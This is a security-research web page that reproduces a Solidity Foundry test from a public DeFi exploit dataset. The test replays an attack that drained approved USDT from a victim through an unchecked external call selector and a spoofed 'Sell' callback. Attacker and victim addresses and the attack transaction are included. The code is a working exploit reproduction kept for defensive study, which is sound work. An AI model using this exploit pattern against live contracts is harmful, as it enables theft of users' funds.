Skip to content
THREATWIRE

Public reproduction file

src/test/2023-06/Contract_0x7657_exp.sol

Public reproduction file for dataset entry Contract_0x7657.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-06/Contract_0x7657_exp.sol53 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4// @KeyInfo - Total Lost : ~1300 $USDC
5// Attacker : https://etherscan.io/address/0x015d0b51d0a65ad11cf4425de2ec86a7b320db3f
6// Attack Contract : https://etherscan.io/address/0xfe2011dad32ad6dfd128e55490c0fd999f3d2221
7// Vulnerable Contract : https://etherscan.io/address/0x76577603f99eae8320f70b410a350a83d744cb77
8// Attack Tx : https://etherscan.io/tx/0x74279a131dccd6479378b3454ea189a6ce350cce51de47d81a0ef23db1b134d5
9
10import "forge-std/Test.sol";
11import "./../interface.sol";
13interface IDPPAdvanced {
14 function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;
17interface IUSDTinterface {
18 function transferFrom(address from, address to, uint256 amount) external returns (bool);
19 function approve(address _spender, uint256 _value) external;
20 function balanceOf(
21 address owner
22 ) external view returns (uint256);
23 function transfer(address _to, uint256 _value) external;
26contract ContractTest is Test {
27 IUSDTinterface USDT = IUSDTinterface(0xdAC17F958D2ee523a2206206994597C13D831ec7);
28 address Contract_addr = 0x76577603F99EAe8320F70B410a350a83D744CB77;
29 address Victim = 0x637b935CbA030Aeb876eae07Aa7FF637166de4D6;
31 function setUp() public {
32 vm.createSelectFork("mainnet", 17_511_178 - 1);
33 vm.label(address(USDT), "USDT");
34 vm.label(address(Contract_addr), "Contract_addr");
35 vm.label(address(Victim), "Victim");
36 }
38 function testExploit() public {
39 emit log_named_decimal_uint("Attacker USDT balance before attack", USDT.balanceOf(address(this)), 6);
40 uint256 Victim_balance = USDT.balanceOf(address(Victim));
41 (bool success, bytes memory data) =
42 Contract_addr.call(abi.encodeWithSelector(bytes4(0x0a8fe064), address(this), Victim, 0, Victim_balance, 1));
43 emit log_named_decimal_uint("Attacker USDT balance before attack", USDT.balanceOf(address(this)), 6);
44 }
46 function Sell(uint256 _snipeID, uint256 _sellPercentage) external payable returns (bool) {
47 address(USDT).call(abi.encodeWithSelector(bytes4(0x23b872dd), Contract_addr, address(this), _snipeID));
48 return false;
49 }
51 fallback() external payable {}
52 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “Contract_0x7657” (2023-06-19). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x015d0b51d0a65ad11cf4425de2ec86a7b320db3f

  • Attack Contract

    0xfe2011dad32ad6dfd128e55490c0fd999f3d2221

  • Vulnerable Contract

    0x76577603f99eae8320f70b410a350a83d744cb77

  • Attack Tx

    0x74279a131dccd6479378b3454ea189a6ce350cce51de47d81a0ef23db1b134d5

File record

Name
Contract_0x7657
Path
src/test/2023-06/Contract_0x7657_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
cbe97e62974a42b912fdcaf2be9ecd15dccd02d5
Language
Solidity
Size
54 lines
Date
2023-06-19
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-06/Contract_0x7657_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob cbe97e62974a42b912fdcaf2be9ecd15dccd02d5, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.